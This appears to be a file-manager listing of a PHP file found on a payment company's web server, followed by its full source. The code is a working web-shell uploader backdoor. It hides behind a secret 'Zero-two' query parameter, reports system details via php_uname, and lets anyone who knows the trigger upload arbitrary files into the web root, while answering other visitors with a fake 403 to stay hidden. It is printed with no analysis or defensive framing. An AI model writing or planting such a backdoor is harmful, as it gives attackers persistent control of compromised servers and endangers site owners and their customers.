• File: 002bestwifu.php
  • Full Path: /var/www/paytek-africa.com/002bestwifu.php
  • Date Modified: 01/26/2022 8:16 PM
  • File size: 1.09 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
error_reporting(0);

if(isset($_GET["Zero-two"])) {
    echo "Zer0 - Two <3<br>";
    echo "<b><phpuname>".php_uname()."</phpuname></b><br>";
    echo "<form method='post' enctype='multipart/form-data'>
          <input type='file' name='idx_file'>
          <input type='submit' name='upload' value='upload'>
          </form>";
    $root = $_SERVER['DOCUMENT_ROOT'];
    $files = $_FILES['idx_file']['name'];
    $dest = $root.'/'.$files;
    if(isset($_POST['upload'])) {
        if(is_writable($root)) {
            if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
                $web = "http://".$_SERVER['HTTP_HOST'];
                echo "Sukses -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
            } else {
                echo "gagal upload di document root.";
            }
        } else {
            if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
                echo "sukses upload <b>$files</b> di folder ini";
            } else {
                echo "gagal upload";
            }
        }
    }
} else {
    header('HTTP/1.1 403 FORBIDDEN');
}
?>